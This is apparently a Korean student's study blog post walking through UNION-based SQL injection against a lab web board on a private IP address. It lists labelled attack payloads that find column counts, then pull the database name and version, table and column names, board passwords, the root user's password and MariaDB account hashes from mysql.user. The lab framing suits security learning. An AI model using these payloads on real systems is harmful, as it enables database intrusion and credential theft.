kjh00n의 기록저장소

Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출 본문

어플리케이션 보안 운영

Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출

kjh00n 2025. 1. 9. 11:49

[정의]

[UNION]

• UNION 

- 두 개의 테이블 결과값을 하나의 테이블에 출력하는 DML


• UNION 조건 

- 각 테이블에서 반환하는 열의 개수가 같아야 함 

- 합쳐지는 각 열의 자료형이 같아야 함

  • My-SQL은 자동 형 변환이 되기 때문에 일치하지 않아도 됨

• Union을 이용한 데이터 추출 

- 기존 SELECT 문의 출력에 공격자가 원하는 데이터를 합쳐 출력해낼 수 있음

  • 기존 SELECT 쿼리 문 UNION 공격자가 작성한 SELECT 쿼리 문 

- 열의 수를 조작하여 정상 SQL Query 문이 반환하는 열의 개수 확인 

- 조회 결과가 화면에 출력되는 경우 출력 위치 확인 

- 공격자가 원하는 데이터가 화면에 출력되도록 하여 데이터 확인

 

UNION을 이용한 데이터 추출 - 컬럼 수 알아내기
UNION을 이용한 데이터 추출 - 컬럼 수 알아내기
UNION을 이용한 데이터 추출 - 컬럼 수 알아내기
ORDER BY 사용
ORDER BY 사용
ORDER BY 사용
레코드 출력 위치 확인
DB 버전 정보 추출

[Database Schema]

[SQL Injection 유용한 문법]

 


[공격을 통한 데이터 추출]

[UNION 사용]

[컬럼의 갯수 파악]

member table의 컬럼 갯수는 8개
SELECT 1,2,3,4,5,6;을 입력한 결과
UNION을 통하여 member 테이블의 컬럼 갯수를 알아낼 수 있다.(SELECT 1,2,3,4,5,6,7,8; 을 사용)

홈페이지의 게시글을 조회할 때 SQL문이 사용되서 출력되지만 Hacker는 이 SQL문을 확인해볼 수 없다.

게시글 조회 SQL문은 Server에 있기 때문이다.

해커가 유추해볼 수 있음↓

SELECT 컬럼, 컬럼, 컬럼, 컬럼, 컬럼, 컬럼... FROM 게시판테이블 WHERE 게시글번호=4 UNION SELECT 1,2,3,4...;

 

http://192.168.50.50/board/board_view.php?num=40인 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가로 입력

http://192.168.50.50/board/board_view.php?num=40%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20#

라고 해커가 URL에 입력함(40번 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가해서 입력함)

이 페이지에서 나오는 컬럼의 갯수는 11개인 것을 Hacker가 확인할 수 있다

Hacker는 게시글을 출력하는 SELECT문의 컬럼 수가 11개인 것을 얻을 수 있다.

UNION은 양쪽 SELECT문의 컬럼 수가 동일해야 정상 출력되고 동일하지 않으면 출력 실패한다


[컬럼의 순서 확인]

조건이 거짓인 SELECT문은 출력되지 않고 조건이 참인 SELECT문은 출력이 된다

조건이 거짓인 SELECT문은 조회되지 않는다.

이를 통해 2개의 SELECT문은 별개로 동작한다는 것을 알 수 있다.

 

http://192.168.50.50/board/board_view.php?num=2 -1 union select 1,2,3,4,5,6,7,8,9,10,11 # 으로 입력
http://192.168.50.50/board/board_view.php?num=2%20-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20#

2번 게시글에 -1 union select 1,2,3,4,5,6,7,8,9,10,11 #을 친 결과

-1을 붙인 이유는 앞쪽 SELECT문의 조건(WHERE)을 거짓으로 만들기 위함

 

→ 1번은 모름, 2번은 이름, 3번은 모름, 4번은 이메일, 5번은 제목, 6번은 내용, 7번은 모름, 8번은 조회,9는 파일이름,

10은 파일크기, 11은 등록일 이라는 정보를 파악할 수 있음


[ORDER BY 사용]

정렬한 모습

 

ORDER BY 뒤에 숫자를 입력하면 1은 no 컬럼, 2는 u_id, 3은 u_pw 등등 순으로 정렬한다

이 방식이 앞에서 알려준 방식보다 시간도 절약되고 더 좋다.

http://192.168.50.50/board/board_view.php?num=2%20order%20by%201%20#

http://192.168.50.50/board/board_view.php?num=2 에다가 order by 1 #을 붙여서 입력

출력이 되네? 그러면 order by 12 #으로 하면 게시글 출력이 안됨

그럼 order by 11 #으로 하니까 출력이 되네?

→ 이 게시글의 컬럼 수는 11개라는 것을 알아낼 수 있었다.


[Database Schema]

[DB명 알아내기]

[공격코드]

-1 union select 1,2,3,4,database(),version(),7,8,9,10,11 #

http://192.168.50.50/board/board_view.php?num=2 에 -1 union select 1,2,3,4,database(),version(),7,8,9,10,11 # 를 추가로 입력

DBMS= mariadb 10.5.22
DB = WebTest
라는 정보를 Hacker가 알아냈다 (중요한 정보가 털림)

 

 DB에서 원하는 데이터를 조회하려면 어떤 정보를 알아야 조회가 가능할까?

→ DB명, Table명, Column명

 

● information_schema에서 원하는 DB의 Table명을 알아내는 SQL문

SELECT table_name FROM information_schema.tables WHERE table_schema = 'WebTest';

 

Table의 정보가 저장된 Table → information_schema.tables
tables에서 Table 이름이 저장된 컬럼 → table_name
tables에서 DB의 이름이 저장된 컬럼 → table_schema

SELECT table_name FROM information_schema.tables WHERE table_schema = 'WebTest'; 결과물

 

[Table명 알아내기]

http://192.168.50.50/board/board_view.php?num=2 뒤에 아래 조건들을 추가로 적으면 된다.

 

[공격코드]

-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' #

board라는 Table이 출력됨

-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' limit 1,1 #

limit을 사용하니 member라는 Table이 출력됨

 

추가적으로 WebTest말고 다른 DB를 조회하고 싶다면?
[SQL]
→ SELECT table_schema FROM information_schema.tables limit 0,1; = information_schema
→ SELECT table_schema FROM information_schema.tables limit 1,1; = mysql
→ SELECT table_schema FROM information_schema.tables limit 2,1; = performance_schema
→ SELECT table_schema FROM information_schema.tables limit 3,1; = WebTest

[공격코드]
-1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 0,1 #
-1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 1,1 #
-1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 2,1 #
-1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 3,1 #

 

[Column명 알아내기]

Column명 조회하는 SQL문

SELECT column_name FROM information_schema.columns WHERE table_name='board';

Column명이 저장된 Table → information_schema.columns
저장된 Column의 이름 컬럼명 → column_name

 

 

[공격코드]

-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' #

strNumber

[공격코드]

-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' limit 1,1#

strName

[SQL문]

select strPassword from WebTest.board where strNumber=4;

[공격코드]

-1 union select 1,2,3,4,5,strPassword,7,8,9,10,11 from WebTest.board where strNumber=4 #

strNumber가 4인 게시글의 비밀번호 알아내기

[SQL문]

select u_pw from WebTest.member where u_id='root';

[공격코드]

-1 union select 1,2,3,4,5,6,7,8,9,10,11 from WebTest.member where u_id='root' #

root계정의 비밀번호인 123456을 알아왔음

 

[번외]

MariaDB에서 계정의 정보 조회 SQL문은?

SELECT user,host,password FROM mysql.user;

 

[공격코드]

-1 union select 1,2,3,user,host,password,7,8,9,10,11 from mysql.user #

-1 union select 1,2,3,user,host,password,7,8,9,10,11 from mysql.user limit 1,1 #

 

'어플리케이션 보안 운영' 카테고리의 다른 글

Blind SQL Injection  (0) 2025.01.09
SQL Injection  (1) 2025.01.08
CSRF  (0) 2025.01.07
XSS 보안 및 우회  (0) 2025.01.07
XSS  (0) 2025.01.06